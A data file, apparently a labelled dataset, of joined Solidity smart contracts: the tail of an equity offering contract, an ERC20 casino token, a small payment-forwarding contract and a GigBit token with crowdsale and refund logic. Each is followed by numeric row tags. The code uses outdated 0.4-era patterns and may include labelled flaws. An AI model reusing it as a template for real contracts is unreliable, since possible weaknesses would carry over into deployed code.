(uint256 platformNmk,) = calculateNeumarkDistribution(rewardNmk);
assert(NEUMARK.transfer(PLATFORM_WALLET, platformNmk, ""));
if (_additionalContributionEth > 0) {
assert(ETHER_TOKEN.transfer(COMPANY_LEGAL_REPRESENTATIVE, _additionalContributionEth, ""));
}
if (_additionalContributionEurUlps > 0) {
assert(EURO_TOKEN.transfer(COMPANY_LEGAL_REPRESENTATIVE, _additionalContributionEurUlps, ""));
}
EQUITY_TOKEN.issueTokens(_tokenParticipationFeeInt);
emit LogPlatformNeuReward(PLATFORM_WALLET, rewardNmk, platformNmk);
emit LogAdditionalContribution(COMPANY_LEGAL_REPRESENTATIVE, ETHER_TOKEN, _additionalContributionEth);
emit LogAdditionalContribution(COMPANY_LEGAL_REPRESENTATIVE, EURO_TOKEN, _additionalContributionEurUlps);
}
function onRefundTransition()
private
{
uint256 balanceNmk = NEUMARK.balanceOf(this);
uint256 balanceTokenInt = EQUITY_TOKEN.balanceOf(this);
if (balanceNmk > 0) {
NEUMARK.burn(balanceNmk);
}
if (balanceTokenInt > 0) {
EQUITY_TOKEN.destroyTokens(balanceTokenInt);
}
emit LogRefundStarted(EQUITY_TOKEN, balanceTokenInt, balanceNmk);
}
function onPayoutTransition()
private
{
address disbursal = UNIVERSE.feeDisbursal();
assert(disbursal != address(0));
address platformPortfolio = UNIVERSE.platformPortfolio();
assert(platformPortfolio != address(0));
bytes memory serializedAddress = abi.encodePacked(address(NEUMARK));
if (_platformFeeEth > 0) {
assert(ETHER_TOKEN.transfer(disbursal, _platformFeeEth, serializedAddress));
}
if (_platformFeeEurUlps > 0) {
assert(EURO_TOKEN.transfer(disbursal, _platformFeeEurUlps, serializedAddress));
}
EQUITY_TOKEN.distributeTokens(platformPortfolio, _tokenParticipationFeeInt);
emit LogPlatformFeePayout(ETHER_TOKEN, disbursal, _platformFeeEth);
emit LogPlatformFeePayout(EURO_TOKEN, disbursal, _platformFeeEurUlps);
emit LogPlatformPortfolioPayout(EQUITY_TOKEN, platformPortfolio, _tokenParticipationFeeInt);
}
function processTicket(
address investor,
address wallet,
uint256 amount,
uint256 equivEurUlps,
bool isEuroInvestment
)
private
{
InvestmentTicket storage ticket = _tickets[investor];
bool applyDiscounts = state() == ETOState.Whitelist;
(
bool isWhitelisted,
bool isEligible,
uint minTicketEurUlps,
uint256 maxTicketEurUlps,
uint256 equityTokenInt256,
uint256 fixedSlotEquityTokenInt256
) = ETO_TERMS.calculateContribution(investor, _totalEquivEurUlps, ticket.equivEurUlps, equivEurUlps, applyDiscounts);
require(isEligible, "NF_ETO_INV_NOT_VER");
assert(equityTokenInt256 < 2 ** 32 && fixedSlotEquityTokenInt256 < 2 ** 32);
require(equivEurUlps + ticket.equivEurUlps >= minTicketEurUlps && equityTokenInt256 > 0, "NF_ETO_MIN_TICKET");
require(equivEurUlps + ticket.equivEurUlps <= maxTicketEurUlps, "NF_ETO_MAX_TICKET");
require(!isCapExceeded(applyDiscounts, equityTokenInt256, fixedSlotEquityTokenInt256), "NF_ETO_MAX_TOK_CAP");
if (applyDiscounts) {
require(isWhitelisted || wallet != investor, "NF_ETO_NOT_ON_WL");
}
if (wallet == investor) {
(, uint256 investorNmk) = calculateNeumarkDistribution(NEUMARK.issueForEuro(equivEurUlps));
if (investorNmk > 0) {
assert(investorNmk > PLATFORM_NEUMARK_SHARE - 1);
investorNmk -= PLATFORM_NEUMARK_SHARE - 1;
}
}
assert(equityTokenInt256 + ticket.equityTokenInt < 2**32);
assert(equivEurUlps + ticket.equivEurUlps < 2**96);
assert(amount < 2**96);
assert(uint256(ticket.amountEth) + amount < 2**96);
EQUITY_TOKEN.issueTokens(uint32(equityTokenInt256));
_totalEquivEurUlps += uint96(equivEurUlps);
_totalTokensInt += uint32(equityTokenInt256);
_totalFixedSlotsTokensInt += uint32(fixedSlotEquityTokenInt256);
_totalInvestors += ticket.equivEurUlps == 0 ? 1 : 0;
ticket.equivEurUlps += uint96(equivEurUlps);
ticket.rewardNmkUlps += uint96(investorNmk);
ticket.equityTokenInt += uint32(equityTokenInt256);
if (isEuroInvestment) {
ticket.amountEurUlps += uint96(amount);
} else {
ticket.amountEth += uint96(amount);
}
ticket.usedLockedAccount = ticket.usedLockedAccount || wallet != investor;
emit LogFundsCommitted(
investor,
wallet,
msg.sender,
amount,
equivEurUlps,
equityTokenInt256,
EQUITY_TOKEN,
investorNmk
);
}
function isCapExceeded(bool applyDiscounts, uint256 equityTokenInt, uint256 fixedSlotsEquityTokenInt)
private
constant
returns (bool maxCapExceeded)
{
maxCapExceeded = _totalTokensInt + equityTokenInt > MAX_NUMBER_OF_TOKENS;
if (applyDiscounts && !maxCapExceeded) {
maxCapExceeded = _totalTokensInt + equityTokenInt - _totalFixedSlotsTokensInt - fixedSlotsEquityTokenInt > MAX_NUMBER_OF_TOKENS_IN_WHITELIST;
}
}
function claimTokensPrivate(address investor)
private
{
InvestmentTicket storage ticket = _tickets[investor];
if (ticket.claimOrRefundSettled) {
return;
}
if (ticket.equivEurUlps == 0) {
return;
}
ticket.claimOrRefundSettled = true;
if (ticket.rewardNmkUlps > 0) {
NEUMARK.distribute(investor, ticket.rewardNmkUlps);
}
if (ticket.equityTokenInt > 0) {
EQUITY_TOKEN.distributeTokens(investor, ticket.equityTokenInt);
}
if (ticket.usedLockedAccount) {
ETHER_LOCK.claimed(investor);
EURO_LOCK.claimed(investor);
}
emit LogTokensClaimed(investor, EQUITY_TOKEN, ticket.equityTokenInt, ticket.rewardNmkUlps);
}
function refundTokensPrivate(address investor)
private
{
InvestmentTicket storage ticket = _tickets[investor];
if (ticket.claimOrRefundSettled) {
return;
}
if (ticket.equivEurUlps == 0) {
return;
}
ticket.claimOrRefundSettled = true;
refundSingleToken(investor, ticket.amountEth, ticket.usedLockedAccount, ETHER_LOCK, ETHER_TOKEN);
refundSingleToken(investor, ticket.amountEurUlps, ticket.usedLockedAccount, EURO_LOCK, EURO_TOKEN);
emit LogFundsRefunded(investor, ETHER_TOKEN, ticket.amountEth);
emit LogFundsRefunded(investor, EURO_TOKEN, ticket.amountEurUlps);
}
function refundSingleToken(
address investor,
uint256 amount,
bool usedLockedAccount,
LockedAccount lockedAccount,
IERC223Token token
)
private
{
if (amount == 0) {
return;
}
uint256 a = amount;
if (usedLockedAccount) {
(uint256 balance,) = lockedAccount.pendingCommitments(this, investor);
assert(balance <= a);
if (balance > 0) {
assert(token.approve(address(lockedAccount), balance));
lockedAccount.refunded(investor);
a -= balance;
}
}
if (a > 0) {
assert(token.transfer(investor, a, ""));
}
}
} | 1 | 4,261 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ZealCasino is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "ZLC";
name = "ZealCasino";
decimals = 4;
_totalSupply = 5000000000000;
balances[0xD76B99c8CF50753b9677631f183D9946C761fC2c] = _totalSupply;
emit Transfer(address(0), 0xD76B99c8CF50753b9677631f183D9946C761fC2c, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,254 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract dappVolumeHearts {
using SafeMath for uint256;
address public contractOwner;
address public lastAddress;
modifier onlyContractOwner {
require(msg.sender == contractOwner);
_;
}
constructor() public {
contractOwner = msg.sender;
}
function withdraw() public onlyContractOwner {
contractOwner.transfer(address(this).balance);
}
mapping(uint256 => uint256) public totals;
function update(uint256 dapp_id) public payable {
require(msg.value > 1900000000000000);
totals[dapp_id] = totals[dapp_id] + msg.value;
lastAddress.transfer(msg.value.div(2));
lastAddress = msg.sender;
}
function getTotalHeartsByDappId(uint256 dapp_id) public view returns(uint256) {
return totals[dapp_id];
}
function getBalance() public view returns(uint256){
return address(this).balance;
}
} | 1 | 3,122 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract GigERC20 is StandardToken, Ownable {
uint256 public creationBlock;
uint8 public decimals;
string public name;
string public symbol;
string public standard;
bool public locked;
function GigERC20(
uint256 _totalSupply,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transferAllSupplyToOwner,
bool _locked
) public {
standard = 'ERC20 0.1';
locked = _locked;
totalSupply_ = _totalSupply;
if (_transferAllSupplyToOwner) {
balances[msg.sender] = totalSupply_;
} else {
balances[this] = totalSupply_;
}
name = _tokenName;
symbol = _tokenSymbol;
decimals = _decimalUnits;
creationBlock = block.number;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(locked == false);
return super.transfer(_to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (locked) {
return false;
}
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
if (locked) {
return false;
}
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
if (locked) {
return false;
}
return super.decreaseApproval(_spender, _subtractedValue);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
if (locked) {
return false;
}
return super.transferFrom(_from, _to, _value);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract MintingERC20 is GigERC20 {
using SafeMath for uint256;
mapping (address => bool) public minters;
uint256 public maxSupply;
modifier onlyMinters () {
require(true == minters[msg.sender]);
_;
}
function MintingERC20(
uint256 _initialSupply,
uint256 _maxSupply,
string _tokenName,
uint8 _decimals,
string _symbol,
bool _transferAllSupplyToOwner,
bool _locked
)
public GigERC20(_initialSupply, _tokenName, _decimals, _symbol, _transferAllSupplyToOwner, _locked)
{
standard = 'MintingERC20 0.1';
minters[msg.sender] = true;
maxSupply = _maxSupply;
}
function addMinter(address _newMinter) public onlyOwner {
minters[_newMinter] = true;
}
function removeMinter(address _minter) public onlyOwner {
minters[_minter] = false;
}
function mint(address _addr, uint256 _amount) public onlyMinters returns (uint256) {
if (true == locked) {
return uint256(0);
}
if (_amount == uint256(0)) {
return uint256(0);
}
if (totalSupply_.add(_amount) > maxSupply) {
return uint256(0);
}
totalSupply_ = totalSupply_.add(_amount);
balances[_addr] = balances[_addr].add(_amount);
Transfer(address(0), _addr, _amount);
return _amount;
}
}
contract GigToken is MintingERC20 {
SellableToken public crowdSale;
SellableToken public privateSale;
bool public transferFrozen = false;
uint256 public crowdSaleEndTime;
mapping(address => uint256) public lockedBalancesReleasedAfterOneYear;
modifier onlyCrowdSale() {
require(crowdSale != address(0) && msg.sender == address(crowdSale));
_;
}
modifier onlySales() {
require((privateSale != address(0) && msg.sender == address(privateSale)) ||
(crowdSale != address(0) && msg.sender == address(crowdSale)));
_;
}
event MaxSupplyBurned(uint256 burnedTokens);
function GigToken(bool _locked) public
MintingERC20(0, maxSupply, 'GigBit', 18, 'GBTC', false, _locked)
{
standard = 'GBTC 0.1';
maxSupply = uint256(1000000000).mul(uint256(10) ** decimals);
}
function setCrowdSale(address _crowdSale) public onlyOwner {
require(_crowdSale != address(0));
crowdSale = SellableToken(_crowdSale);
crowdSaleEndTime = crowdSale.endTime();
}
function setPrivateSale(address _privateSale) public onlyOwner {
require(_privateSale != address(0));
privateSale = SellableToken(_privateSale);
}
function freezing(bool _transferFrozen) public onlyOwner {
transferFrozen = _transferFrozen;
}
function isTransferAllowed(address _from, uint256 _value) public view returns (bool status) {
uint256 senderBalance = balanceOf(_from);
if (transferFrozen == true || senderBalance < _value) {
return false;
}
uint256 lockedBalance = lockedBalancesReleasedAfterOneYear[_from];
if (lockedBalance > 0 && senderBalance.sub(_value) < lockedBalance) {
uint256 unlockTime = crowdSaleEndTime + 1 years;
if (crowdSaleEndTime == 0 || block.timestamp < unlockTime) {
return false;
}
uint256 secsFromUnlock = block.timestamp.sub(unlockTime);
uint256 months = secsFromUnlock / 30 days;
if (months > 12) {
months = 12;
}
uint256 tokensPerMonth = lockedBalance / 12;
uint256 unlockedBalance = tokensPerMonth.mul(months);
uint256 actualLockedBalance = lockedBalance.sub(unlockedBalance);
if (senderBalance.sub(_value) < actualLockedBalance) {
return false;
}
}
if (block.timestamp < crowdSaleEndTime &&
crowdSale != address(0) &&
crowdSale.isTransferAllowed(_from, _value) == false
) {
return false;
}
return true;
}
function transfer(address _to, uint _value) public returns (bool) {
require(isTransferAllowed(msg.sender, _value));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require((crowdSaleEndTime <= block.timestamp) && isTransferAllowed(_from, _value));
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(crowdSaleEndTime <= block.timestamp);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
require(crowdSaleEndTime <= block.timestamp);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
require(crowdSaleEndTime <= block.timestamp);
return super.decreaseApproval(_spender, _subtractedValue);
}
function increaseLockedBalance(address _address, uint256 _tokens) public onlySales {
lockedBalancesReleasedAfterOneYear[_address] =
lockedBalancesReleasedAfterOneYear[_address].add(_tokens);
}
function burnInvestorTokens(
address _address,
uint256 _amount
) public onlyCrowdSale returns (uint256) {
require(block.timestamp > crowdSaleEndTime);
require(_amount <= balances[_address]);
balances[_address] = balances[_address].sub(_amount);
totalSupply_ = totalSupply_.sub(_amount);
Transfer(_address, address(0), _amount);
return _amount;
}
function burnUnsoldTokens(uint256 _amount) public onlyCrowdSale {
require(block.timestamp > crowdSaleEndTime);
maxSupply = maxSupply.sub(_amount);
MaxSupplyBurned(_amount);
}
}
contract Multivest is Ownable {
using SafeMath for uint256;
mapping (address => bool) public allowedMultivests;
event MultivestSet(address multivest);
event MultivestUnset(address multivest);
event Contribution(address holder, uint256 value, uint256 tokens);
modifier onlyAllowedMultivests(address _addresss) {
require(allowedMultivests[_addresss] == true);
_;
}
function Multivest() public {}
function setAllowedMultivest(address _address) public onlyOwner {
allowedMultivests[_address] = true;
MultivestSet(_address);
}
function unsetAllowedMultivest(address _address) public onlyOwner {
allowedMultivests[_address] = false;
MultivestUnset(_address);
}
function multivestBuy(address _address, uint256 _value) public onlyAllowedMultivests(msg.sender) {
require(buy(_address, _value) == true);
}
function multivestBuy(
address _address,
uint8 _v,
bytes32 _r,
bytes32 _s
) public payable onlyAllowedMultivests(verify(keccak256(msg.sender), _v, _r, _s)) {
require(_address == msg.sender && buy(msg.sender, msg.value) == true);
}
function verify(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) internal pure returns (address) {
bytes memory prefix = '\x19Ethereum Signed Message:\n32';
return ecrecover(keccak256(prefix, _hash), _v, _r, _s);
}
function buy(address _address, uint256 _value) internal returns (bool);
}
contract SellableToken is Multivest {
uint256 public constant MONTH_IN_SEC = 2629743;
GigToken public token;
uint256 public minPurchase = 100 * 10 ** 5;
uint256 public maxPurchase;
uint256 public softCap;
uint256 public hardCap;
uint256 public startTime;
uint256 public endTime;
uint256 public maxTokenSupply;
uint256 public soldTokens;
uint256 public collectedEthers;
address public etherHolder;
uint256 public collectedUSD;
uint256 public etherPriceInUSD;
uint256 public priceUpdateAt;
mapping(address => uint256) public etherBalances;
Tier[] public tiers;
struct Tier {
uint256 discount;
uint256 startTime;
uint256 endTime;
}
event Refund(address _holder, uint256 _ethers, uint256 _tokens);
event NewPriceTicker(string _price);
function SellableToken(
address _token,
address _etherHolder,
uint256 _startTime,
uint256 _endTime,
uint256 _maxTokenSupply,
uint256 _etherPriceInUSD
)
public Multivest()
{
require(_token != address(0) && _etherHolder != address(0));
token = GigToken(_token);
require(_startTime < _endTime);
etherHolder = _etherHolder;
require((_maxTokenSupply == uint256(0)) || (_maxTokenSupply <= token.maxSupply()));
startTime = _startTime;
endTime = _endTime;
maxTokenSupply = _maxTokenSupply;
etherPriceInUSD = _etherPriceInUSD;
priceUpdateAt = block.timestamp;
}
function setTokenContract(address _token) public onlyOwner {
require(_token != address(0));
token = GigToken(_token);
}
function setEtherHolder(address _etherHolder) public onlyOwner {
if (_etherHolder != address(0)) {
etherHolder = _etherHolder;
}
}
function setPurchaseLimits(uint256 _min, uint256 _max) public onlyOwner {
if (_min < _max) {
minPurchase = _min;
maxPurchase = _max;
}
}
function mint(address _address, uint256 _tokenAmount) public onlyOwner returns (uint256) {
return mintInternal(_address, _tokenAmount);
}
function isActive() public view returns (bool);
function isTransferAllowed(address _from, uint256 _value) public view returns (bool);
function withinPeriod() public view returns (bool);
function getMinEthersInvestment() public view returns (uint256) {
return uint256(1 ether).mul(minPurchase).div(etherPriceInUSD);
}
function calculateTokensAmount(uint256 _value) public view returns (uint256 tokenAmount, uint256 usdAmount);
function calculateEthersAmount(uint256 _tokens) public view returns (uint256 ethers, uint256 bonus);
function updatePreICOMaxTokenSupply(uint256 _amount) public;
function setEtherInUSD(string _price) public onlyAllowedMultivests(msg.sender) {
bytes memory bytePrice = bytes(_price);
uint256 dot = bytePrice.length.sub(uint256(6));
require(0x2e == uint(bytePrice[dot]));
uint256 newPrice = uint256(10 ** 23).div(parseInt(_price, 5));
require(newPrice > 0);
etherPriceInUSD = parseInt(_price, 5);
priceUpdateAt = block.timestamp;
NewPriceTicker(_price);
}
function mintInternal(address _address, uint256 _tokenAmount) internal returns (uint256) {
uint256 mintedAmount = token.mint(_address, _tokenAmount);
require(mintedAmount == _tokenAmount);
soldTokens = soldTokens.add(_tokenAmount);
if (maxTokenSupply > 0) {
require(maxTokenSupply >= soldTokens);
}
return _tokenAmount;
}
function transferEthers() internal;
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint res = 0;
bool decimals = false;
for (uint i = 0; i < bresult.length; i++) {
if ((bresult[i] >= 48) && (bresult[i] <= 57)) {
if (decimals) {
if (_b == 0) break;
else _b--;
}
res *= 10;
res += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) res *= 10 ** _b;
return res;
}
}
contract CrowdSale is SellableToken {
uint256 public constant PRE_ICO_TIER_FIRST = 0;
uint256 public constant PRE_ICO_TIER_LAST = 4;
uint256 public constant ICO_TIER_FIRST = 5;
uint256 public constant ICO_TIER_LAST = 8;
SellableToken public privateSale;
uint256 public price;
Stats public preICOStats;
mapping(address => uint256) public icoBalances;
struct Stats {
uint256 soldTokens;
uint256 maxTokenSupply;
uint256 collectedUSD;
uint256 collectedEthers;
bool burned;
}
function CrowdSale(
address _token,
address _etherHolder,
uint256 _maxPreICOTokenSupply,
uint256 _maxICOTokenSupply,
uint256 _price,
uint256[2] _preIcoDuration,
uint256[2] _icoDuration,
uint256 _etherPriceInUSD
) public
SellableToken(
_token,
_etherHolder,
_preIcoDuration[0],
_icoDuration[1],
_maxPreICOTokenSupply.add(_maxICOTokenSupply),
_etherPriceInUSD
) {
softCap = 250000000000;
hardCap = 3578912800000;
price = _price;
preICOStats.maxTokenSupply = _maxPreICOTokenSupply;
tiers.push(
Tier(
uint256(65),
_preIcoDuration[0],
_preIcoDuration[0].add(1 hours)
)
);
tiers.push(
Tier(
uint256(60),
_preIcoDuration[0].add(1 hours),
_preIcoDuration[0].add(1 days)
)
);
tiers.push(
Tier(
uint256(57),
_preIcoDuration[0].add(1 days),
_preIcoDuration[0].add(2 days)
)
);
tiers.push(
Tier(
uint256(55),
_preIcoDuration[0].add(2 days),
_preIcoDuration[0].add(3 days)
)
);
tiers.push(
Tier(
uint256(50),
_preIcoDuration[0].add(3 days),
_preIcoDuration[1]
)
);
tiers.push(
Tier(
uint256(25),
_icoDuration[0],
_icoDuration[0].add(1 weeks)
)
);
tiers.push(
Tier(
uint256(15),
_icoDuration[0].add(1 weeks),
_icoDuration[0].add(2 weeks)
)
);
tiers.push(
Tier(
uint256(10),
_icoDuration[0].add(2 weeks),
_icoDuration[0].add(3 weeks)
)
);
tiers.push(
Tier(
uint256(5),
_icoDuration[0].add(3 weeks),
_icoDuration[1]
)
);
}
function changeICODates(uint256 _tierId, uint256 _start, uint256 _end) public onlyOwner {
require(_start != 0 && _start < _end && _tierId < tiers.length);
Tier storage icoTier = tiers[_tierId];
icoTier.startTime = _start;
icoTier.endTime = _end;
if (_tierId == PRE_ICO_TIER_FIRST) {
startTime = _start;
} else if (_tierId == ICO_TIER_LAST) {
endTime = _end;
}
}
function isActive() public view returns (bool) {
if (hardCap == collectedUSD.add(preICOStats.collectedUSD)) {
return false;
}
if (soldTokens == maxTokenSupply) {
return false;
}
return withinPeriod();
}
function withinPeriod() public view returns (bool) {
return getActiveTier() != tiers.length;
}
function setPrivateSale(address _privateSale) public onlyOwner {
if (_privateSale != address(0)) {
privateSale = SellableToken(_privateSale);
}
}
function getActiveTier() public view returns (uint256) {
for (uint256 i = 0; i < tiers.length; i++) {
if (block.timestamp >= tiers[i].startTime && block.timestamp <= tiers[i].endTime) {
return i;
}
}
return uint256(tiers.length);
}
function calculateTokensAmount(uint256 _value) public view returns (uint256 tokenAmount, uint256 usdAmount) {
if (_value == 0) {
return (0, 0);
}
uint256 activeTier = getActiveTier();
if (activeTier == tiers.length) {
if (endTime < block.timestamp) {
return (0, 0);
}
if (startTime > block.timestamp) {
activeTier = PRE_ICO_TIER_FIRST;
}
}
usdAmount = _value.mul(etherPriceInUSD);
tokenAmount = usdAmount.div(price * (100 - tiers[activeTier].discount) / 100);
usdAmount = usdAmount.div(uint256(10) ** 18);
if (usdAmount < minPurchase) {
return (0, 0);
}
}
function calculateEthersAmount(uint256 _tokens) public view returns (uint256 ethers, uint256 usdAmount) {
if (_tokens == 0) {
return (0, 0);
}
uint256 activeTier = getActiveTier();
if (activeTier == tiers.length) {
if (endTime < block.timestamp) {
return (0, 0);
}
if (startTime > block.timestamp) {
activeTier = PRE_ICO_TIER_FIRST;
}
}
usdAmount = _tokens.mul((price * (100 - tiers[activeTier].discount) / 100));
ethers = usdAmount.div(etherPriceInUSD);
if (ethers < getMinEthersInvestment()) {
return (0, 0);
}
usdAmount = usdAmount.div(uint256(10) ** 18);
}
function getStats(uint256 _ethPerBtc) public view returns (
uint256 sold,
uint256 maxSupply,
uint256 min,
uint256 soft,
uint256 hard,
uint256 tokenPrice,
uint256 tokensPerEth,
uint256 tokensPerBtc,
uint256[24] tiersData
) {
sold = soldTokens;
maxSupply = maxTokenSupply.sub(preICOStats.maxTokenSupply);
min = minPurchase;
soft = softCap;
hard = hardCap;
tokenPrice = price;
uint256 usd;
(tokensPerEth, usd) = calculateTokensAmount(1 ether);
(tokensPerBtc, usd) = calculateTokensAmount(_ethPerBtc);
uint256 j = 0;
for (uint256 i = 0; i < tiers.length; i++) {
tiersData[j++] = uint256(tiers[i].discount);
tiersData[j++] = uint256(tiers[i].startTime);
tiersData[j++] = uint256(tiers[i].endTime);
}
}
function burnUnsoldTokens() public onlyOwner {
if (block.timestamp >= endTime && maxTokenSupply > soldTokens) {
token.burnUnsoldTokens(maxTokenSupply.sub(soldTokens));
maxTokenSupply = soldTokens;
}
}
function isTransferAllowed(address _from, uint256 _value) public view returns (bool status){
if (collectedUSD.add(preICOStats.collectedUSD) < softCap) {
if (token.balanceOf(_from) >= icoBalances[_from] && token.balanceOf(_from).sub(icoBalances[_from])> _value) {
return true;
}
return false;
}
return true;
}
function isRefundPossible() public view returns (bool) {
if (isActive() || block.timestamp < startTime || collectedUSD.add(preICOStats.collectedUSD) >= softCap) {
return false;
}
return true;
}
function refund() public returns (bool) {
if (!isRefundPossible() || etherBalances[msg.sender] == 0) {
return false;
}
uint256 burnedAmount = token.burnInvestorTokens(msg.sender, icoBalances[msg.sender]);
if (burnedAmount == 0) {
return false;
}
uint256 etherBalance = etherBalances[msg.sender];
etherBalances[msg.sender] = 0;
msg.sender.transfer(etherBalance);
Refund(msg.sender, etherBalance, burnedAmount);
return true;
}
function updatePreICOMaxTokenSupply(uint256 _amount) public {
if (msg.sender == address(privateSale)) {
maxTokenSupply = maxTokenSupply.add(_amount);
preICOStats.maxTokenSupply = preICOStats.maxTokenSupply.add(_amount);
}
}
